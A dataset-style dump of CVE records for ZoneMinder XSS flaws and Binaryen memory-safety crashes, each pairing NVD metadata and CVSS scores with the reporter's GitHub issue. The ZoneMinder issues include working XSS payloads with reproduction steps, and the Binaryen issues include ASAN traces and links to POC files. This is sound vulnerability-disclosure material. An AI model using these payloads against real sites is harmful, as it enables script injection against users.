[ { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/commit/8c5687ca308e441742725e0aff9075779fa1a498" }, { "source": "[email protected]", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2445" } ]

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https://github.com/ZoneMinder/zoneminder/issues/2445

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** The view `controlcaps`, displays the `Protocol` field record with no proper filtration, leading to Self - Stored XSS. **To Reproduce** Affected URL : http://localhost/zm/index.php?view=controlcaps Payload used - `"><img src=x onerror=prompt('1');>` - Navigate to the - http://localhost/zm/index.php?view=controlcap - Populate the `NAME` & `PROTOCOL` fields with the XSS payload & save. - Navigate to the Affected URL, payload would be triggered. <img width="513" alt="control 1" src="https://user-images.githubusercontent.com/47003572/51702202-33745f00-2039-11e9-8a2b-646f4b333b4c.png"> **Expected behavior** - Proper escaping of special characters. **Debug Logs** ``` None ```

Stored Self-Cross Site Scripting (XSS) - controlcaps.php

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2445/comments

0

2019-01-24T18:53:08Z

2019-01-25T13:35:10Z

https://github.com/ZoneMinder/zoneminder/issues/2445

402,847,762

2,445

CVE-2019-7151

2019-01-29T00:29:00.517

A NULL pointer dereference was discovered in wasm::Module::getFunctionOrNull in wasm/wasm.cpp in Binaryen 1.38.22. A crafted input can cause segmentation faults, leading to denial-of-service, as demonstrated by wasm-opt.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ] }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/WebAssembly/binaryen/issues/1881" } ]

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https://github.com/WebAssembly/binaryen/issues/1881

[ "Exploit", "Third Party Advisory" ]

github.com

[ "WebAssembly", "binaryen" ]

Hi, there. A Null pointer Deference problem was discovered in wasm::Module::getFunctionOrNull(wasm::Name). A crafted wasm input can cause segment faults and I have confirmed them with address sanitizer too. Here are the POC files. Please use "wasm-opt $POC" to reproduce the problem. [POC.zip](https://github.com/WebAssembly/binaryen/files/2776554/POC.zip) git log: ``` commit 0e5e55053c171b138a0cf5aa8a08de8c7714048f Author: Alon Zakai <[email protected]> Date: Sat Jan 19 05:30:43 2019 -0800 Show a proper error on an invalid type in binary reading ; fixes #1872 (#1874) ``` The ASAN dumps the stack trace as follows: ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==9622==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x0000005b1a51 bp 0x7ffe832e8c10 sp 0x7ffe832e8380 T0) ==9622==The signal is caused by a READ memory access. ==9622==Hint: address points to the zero page. #0 0x5b1a50 in __interceptor_strcmp.part.253 /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:414 #1 0x9112ce in cashew::IString::operator<(cashew::IString const&) const /home/wencheng/Documents/FuzzingObject/binaryen/src/emscripten-optimizer/istring.h:123:12 #2 0x9112ce in std::less<wasm::Name>::operator()(wasm::Name const&, wasm::Name const&) const /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/stl_function.h:386 #3 0x9112ce in std::_Rb_tree<wasm::Name, std::pair<wasm::Name const, wasm::Function*>, std::_Select1st<std::pair<wasm::Name const, wasm::Function*> >, std::less<wasm::Name>, std::allocator<std::pair<wasm::Name const, wasm::Function*> > >::_M_lower_bound(std::_Rb_tree_node<std::pair<wasm::Name const, wasm::Function*> >*, std::_Rb_tree_node_base*, wasm::Name const&) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/stl_tree.h:1872 #4 0x9112ce in std::_Rb_tree<wasm::Name, std::pair<wasm::Name const, wasm::Function*>, std::_Select1st<std::pair<wasm::Name const, wasm::Function*> >, std::less<wasm::Name>, std::allocator<std::pair<wasm::Name const, wasm::Function*> > >::find(wasm::Name const&) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/stl_tree.h:2523 #5 0x9112ce in std::map<wasm::Name, wasm::Function*, std::less<wasm::Name>, std::allocator<std::pair<wasm::Name const, wasm::Function*> > >::find(wasm::Name const&) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/stl_map.h:1164 #6 0x9112ce in wasm::Module::getFunctionOrNull(wasm::Name) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm.cpp:797 #7 0xb8dc27 in wasm::validateExports(wasm::Module&, wasm::ValidationInfo&) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-validator.cpp:1209:32 #8 0xb8dc27 in wasm::WasmValidator::validate(wasm::Module&, wasm::FeatureSet, unsigned int) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-validator.cpp:1298 #9 0x627aba in main /home/wencheng/Documents/FuzzingObject/binaryen/src/tools/wasm-opt.cpp:158:28 #10 0x7f6ec277982f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #11 0x51c5b8 in _start (/home/wencheng/Documents/FuzzingObject/binaryen/build/bin/wasm-opt+0x51c5b8) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:414 in __interceptor_strcmp.part.253 ==9622==ABORTING ```

Null pointer Deference in wasm::Module::getFunctionOrNull(wasm::Name)

https://api.github.com/repos/WebAssembly/binaryen/issues/1881/comments

1

2019-01-20T12:11:54Z

2019-01-20T18:08:15Z

https://github.com/WebAssembly/binaryen/issues/1881

401,091,528

1,881

CVE-2019-7152

2019-01-29T00:29:00.563

A heap-based buffer over-read was discovered in wasm::WasmBinaryBuilder::processFunctions() in wasm/wasm-binary.cpp (when calling wasm::WasmBinaryBuilder::getFunctionIndexName) in Binaryen 1.38.22. A crafted input can cause segmentation faults, leading to denial-of-service, as demonstrated by wasm-opt.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ] }

[ { "source": "[email protected]", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/WebAssembly/binaryen/issues/1880" } ]

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https://github.com/WebAssembly/binaryen/issues/1880

[ "Exploit", "Patch", "Third Party Advisory" ]

github.com

[ "WebAssembly", "binaryen" ]

Hi, there. A Heap-buffer-overflow problem was discovered in WasmBinaryBuilder::getFunctionIndexName(unsigned int). A crafted wasm input can cause segment faults and I have confirmed them with address sanitizer too. Here are the POC files. Please use "./wasm-opt $POC" to reproduce the error. [POC.zip](https://github.com/WebAssembly/binaryen/files/2776549/POC.zip) git log: ``` commit 0e5e55053c171b138a0cf5aa8a08de8c7714048f Author: Alon Zakai <[email protected]> Date: Sat Jan 19 05:30:43 2019 -0800 Show a proper error on an invalid type in binary reading ; fixes #1872 (#1874) ``` The ASAN dumps the stack trace as follows: ``` ================================================================= ==26011==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6060000032a0 at pc 0x0000009ae654 bp 0x7ffd831fce90 sp 0x7ffd831fce88 READ of size 8 at 0x6060000032a0 thread T0 #0 0x9ae653 in wasm::WasmBinaryBuilder::getFunctionIndexName(unsigned int) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/unique_ptr.h:147:42 #1 0x9ae653 in wasm::WasmBinaryBuilder::processFunctions() /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1508 #2 0x980f41 in wasm::WasmBinaryBuilder::read() /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:706:3 #3 0xa81ed9 in wasm::ModuleReader::readBinary(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-io.cpp:52:10 #4 0xa84b1c in wasm::ModuleReader::read(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-io.cpp:71:5 #5 0x627919 in main /home/wencheng/Documents/FuzzingObject/binaryen/src/tools/wasm-opt.cpp:144:14 #6 0x7ff28f63182f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #7 0x51c5b8 in _start (/home/wencheng/Documents/FuzzingObject/binaryen/build/bin/wasm-opt+0x51c5b8) Address 0x6060000032a0 is a wild pointer. SUMMARY: AddressSanitizer: heap-buffer-overflow /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/unique_ptr.h:147:42 in wasm::WasmBinaryBuilder::getFunctionIndexName(unsigned int) Shadow bytes around the buggy address: 0x0c0c7fff8600: fa fa fa fa 00 00 00 00 00 00 00 fa fa fa fa fa 0x0c0c7fff8610: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa 0x0c0c7fff8620: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fff8630: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fff8640: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0c0c7fff8650: fa fa fa fa[fa]fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fff8660: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fff8670: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fff8680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fff8690: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fff86a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==26011==ABORTING ```

A Heap-buffer-overflow problem was discovered in WasmBinaryBuilder::getFunctionIndexName(unsigned int)

https://api.github.com/repos/WebAssembly/binaryen/issues/1880/comments

1

2019-01-20T12:07:15Z

2019-01-20T18:05:01Z

https://github.com/WebAssembly/binaryen/issues/1880

401,091,205

1,880

CVE-2019-7153

2019-01-29T00:29:00.597

A NULL pointer dereference was discovered in wasm::WasmBinaryBuilder::processFunctions() in wasm/wasm-binary.cpp (when calling wasm::WasmBinaryBuilder::getFunctionIndexName) in Binaryen 1.38.22. A crafted input can cause segmentation faults, leading to denial-of-service, as demonstrated by wasm-opt.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ] }

[ { "source": "[email protected]", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/WebAssembly/binaryen/issues/1879" } ]

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https://github.com/WebAssembly/binaryen/issues/1879

[ "Exploit", "Patch", "Third Party Advisory" ]

github.com

[ "WebAssembly", "binaryen" ]

Hi, there. A Null pointer Deference problem was discovered in WasmBinaryBuilder::getFunctionIndexName(unsigned int) in wasm/wasm-binary.cpp. A crafted wasm input can cause segment faults and I have confirmed them with address sanitizer too. Here are the POC files. Please use "wasm-opt $POC" to reproduce the problem. [POC.zip](https://github.com/WebAssembly/binaryen/files/2776540/POC.zip) git log ``` commit 0e5e55053c171b138a0cf5aa8a08de8c7714048f Author: Alon Zakai <[email protected]> Date: Sat Jan 19 05:30:43 2019 -0800 Show a proper error on an invalid type in binary reading ; fixes #1872 (#1874) ``` The ASAN dumps the stack trace as follows: ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==14886==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x0000009ace8e bp 0x7ffccfd53b70 sp 0x7ffccfd539a0 T0) ==14886==The signal is caused by a READ memory access. ==14886==Hint: address points to the zero page. #0 0x9ace8d in wasm::WasmBinaryBuilder::getFunctionIndexName(unsigned int) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:970:10 #1 0x9ace8d in wasm::WasmBinaryBuilder::processFunctions() /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1508 #2 0x980f41 in wasm::WasmBinaryBuilder::read() /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:706:3 #3 0xa81ed9 in wasm::ModuleReader::readBinary(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-io.cpp:52:10 #4 0xa84b1c in wasm::ModuleReader::read(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-io.cpp:71:5 #5 0x627919 in main /home/wencheng/Documents/FuzzingObject/binaryen/src/tools/wasm-opt.cpp:144:14 #6 0x7fac33df582f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #7 0x51c5b8 in _start (/home/wencheng/Documents/FuzzingObject/binaryen/build/bin/wasm-opt+0x51c5b8) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:970:10 in wasm::WasmBinaryBuilder::getFunctionIndexName(unsigned int) ==14886==ABORTING ```

Null pointer Deference in WasmBinaryBuilder::getFunctionIndexName(unsigned int) in wasm/wasm-binary.cpp

https://api.github.com/repos/WebAssembly/binaryen/issues/1879/comments

2

2019-01-20T12:02:25Z

2019-01-24T18:05:45Z

https://github.com/WebAssembly/binaryen/issues/1879

401,090,832

1,879

CVE-2019-7154

2019-01-29T00:29:00.627

The main function in tools/wasm2js.cpp in Binaryen 1.38.22 has a heap-based buffer overflow because Emscripten is misused, triggering an error in cashew::JSPrinter::printAst() in emscripten-optimizer/simple_ast.h. A crafted input can cause segmentation faults, leading to denial-of-service, as demonstrated by wasm2js.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ] }

[ { "source": "[email protected]", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/WebAssembly/binaryen/issues/1876" } ]

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https://github.com/WebAssembly/binaryen/issues/1876

[ "Exploit", "Patch", "Third Party Advisory" ]

github.com

[ "WebAssembly", "binaryen" ]

Hi, there. A Heap-buffer-overflow problem was discovered in cashew::JSPrinter::printAst() function in simple_ast.h in emscripten-optimizer, as distributed in Binaryen 1.38.22. A crafted wasm input can cause segment faults and I have confirmed them with address sanitizer too. Here are the POC files. Please use "./wasm2js $POC" to reproduce the error. [POC.zip](https://github.com/WebAssembly/binaryen/files/2775321/POC.zip) git log: ``` commit 777d33d40ff030f1711c40bf3cd5bc4bc36af313 Author: Alon Zakai <[email protected]> Date: Wed Jan 16 13:22:39 2019 -0800 Emscripten stack simplification (#1870) This takes advantage of the recent memory simplification in emscripten, where JS static allocation is done at compile time. That means we know the stack's initial location at compile time, and can apply it. This is the binaryen side of that: * asm2wasm support for asm.js globals with an initial value var X = Y; where Y is not 0 (which is what the stack now is). * wasm-emscripten-finalize support for a flag --initial-stack-pointer=X, and remove the old code to import the stack's initial location. ``` The ASAN dumps the stack trace as follows: ``` ================================================================= ==13429==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61d0000009ac at pc 0x000000654a5f bp 0x7ffc53b185d0 sp 0x7ffc53b185c8 WRITE of size 1 at 0x61d0000009ac thread T0 #0 0x654a5e in cashew::JSPrinter::printAst() /home/wencheng/Documents/FuzzingObject/binaryen/src/emscripten-optimizer/simple_ast.h:564:18 #1 0x654a5e in main /home/wencheng/Documents/FuzzingObject/binaryen/src/tools/wasm2js.cpp:119 #2 0x7f284ecc582f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #3 0x5116f8 in _start (/home/wencheng/Documents/FuzzingObject/binaryen/build/bin/wasm2js+0x5116f8) 0x61d0000009ac is located 0 bytes to the right of 2348-byte region [0x61d000000080,0x61d0000009ac) allocated by thread T0 here: #0 0x5d1aa0 in realloc /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:107 #1 0x701b53 in cashew::JSPrinter::ensure(int) /home/wencheng/Documents/FuzzingObject/binaryen/src/emscripten-optimizer/simple_ast.h:581:26 #2 0x6ff826 in cashew::JSPrinter::print(cashew::Ref) /home/wencheng/Documents/FuzzingObject/binaryen/src/emscripten-optimizer/simple_ast.h:645:5 #3 0x718964 in cashew::JSPrinter::printVar(cashew::Ref) /home/wencheng/Documents/FuzzingObject/binaryen/src/emscripten-optimizer/simple_ast.h:1195:9 #4 0x6fff70 in cashew::JSPrinter::print(cashew::Ref) /home/wencheng/Documents/FuzzingObject/binaryen/src/emscripten-optimizer/simple_ast.h:734:26 #5 0x71db30 in cashew::JSPrinter::printStats(cashew::Ref) /home/wencheng/Documents/FuzzingObject/binaryen/src/emscripten-optimizer/simple_ast.h:764:9 #6 0x709a15 in cashew::JSPrinter::printDefun(cashew::Ref) /home/wencheng/Documents/FuzzingObject/binaryen/src/emscripten-optimizer/simple_ast.h:810:5 #7 0x700ea3 in cashew::JSPrinter::print(cashew::Ref) /home/wencheng/Documents/FuzzingObject/binaryen/src/emscripten-optimizer/simple_ast.h:684:28 #8 0x71db30 in cashew::JSPrinter::printStats(cashew::Ref) /home/wencheng/Documents/FuzzingObject/binaryen/src/emscripten-optimizer/simple_ast.h:764:9 #9 0x700e2e in cashew::JSPrinter::printToplevel(cashew::Ref) /home/wencheng/Documents/FuzzingObject/binaryen/src/emscripten-optimizer/simple_ast.h:774:7 #10 0x700e2e in cashew::JSPrinter::print(cashew::Ref) /home/wencheng/Documents/FuzzingObject/binaryen/src/emscripten-optimizer/simple_ast.h:723 #11 0x65363f in cashew::JSPrinter::printAst() /home/wencheng/Documents/FuzzingObject/binaryen/src/emscripten-optimizer/simple_ast.h:563:5 #12 0x65363f in main /home/wencheng/Documents/FuzzingObject/binaryen/src/tools/wasm2js.cpp:119 #13 0x7f284ecc582f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) SUMMARY: AddressSanitizer: heap-buffer-overflow /home/wencheng/Documents/FuzzingObject/binaryen/src/emscripten-optimizer/simple_ast.h:564:18 in cashew::JSPrinter::printAst() Shadow bytes around the buggy address: 0x0c3a7fff80e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c3a7fff80f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c3a7fff8100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c3a7fff8110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c3a7fff8120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c3a7fff8130: 00 00 00 00 00[04]fa fa fa fa fa fa fa fa fa fa 0x0c3a7fff8140: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c3a7fff8150: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c3a7fff8160: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c3a7fff8170: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c3a7fff8180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==13429==ABORTING ```

A Heap-buffer-overflow problem was discovered in cashew::JSPrinter::printAst() function in simple_ast.h

https://api.github.com/repos/WebAssembly/binaryen/issues/1876/comments

0

2019-01-19T07:42:40Z

2019-01-23T01:15:38Z

https://github.com/WebAssembly/binaryen/issues/1876

400,971,559

1,876

CVE-2019-7325

2019-02-04T19:29:00.383

Reflected Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, as multiple views under web/skins/classic/views insecurely utilize $_REQUEST['PHP_SELF'], without applying any proper filtration.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2450" } ]

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https://github.com/ZoneMinder/zoneminder/issues/2450

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** There exists XSS in multiple views as it insecurely utilizes `$_REQUEST['PHP_SELF']`, that is without applying any proper filtration All the view files available under /web/skins/classic/views/ are vulnerable, expect few listed below. /web/skins/classic/views/blank.php /web/skins/classic/views/error.php /web/skins/classic/views/event.php /web/skins/classic/views/events.php /web/skins/classic/views/image-ffmpeg.php /web/skins/classic/views/_monitor_filters.php /web/skins/classic/views/_monitor_source_nvsocket.php /web/skins/classic/views/optionhelp.php /web/skins/classic/views/plugin.php /web/skins/classic/views/postlogin.php /web/skins/classic/views/status.php /web/skins/classic/views/timeline.php /web/skins/classic/views/version.php /web/skins/classic/views/watch.php **To Reproduce** Affected URL : http://localhost/zm/index.php/${injectionpoint}$?view=ANYVIEWNAME Payload used - `</script>"><img src=x onerror-prompt('1');>` - Navigate to the Affected URL, Payload would be triggered. <img width="487" alt="php_self" src="https://user-images.githubusercontent.com/47003572/51703531-93b8d000-203c-11e9-9bb6-97cfb33c70af.png"> **Expected behavior** - Proper escaping of special characters. **Debug Logs** ``` None ```

Reflected Site Scripting(XSS) - Multiple ($_SERVER['PHP_SELF']) (1)

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2450/comments

0

2019-01-24T19:31:01Z

2019-02-10T06:12:59Z

https://github.com/ZoneMinder/zoneminder/issues/2450

402,861,864

2,450

CVE-2019-7326

2019-02-04T19:29:00.430

Self - Stored Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code via a vulnerable 'Host' parameter value in the view console (console.php) because proper filtration is omitted. This relates to the index.php?view=monitor Host Name field.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2452" } ]

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https://github.com/ZoneMinder/zoneminder/issues/2452

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

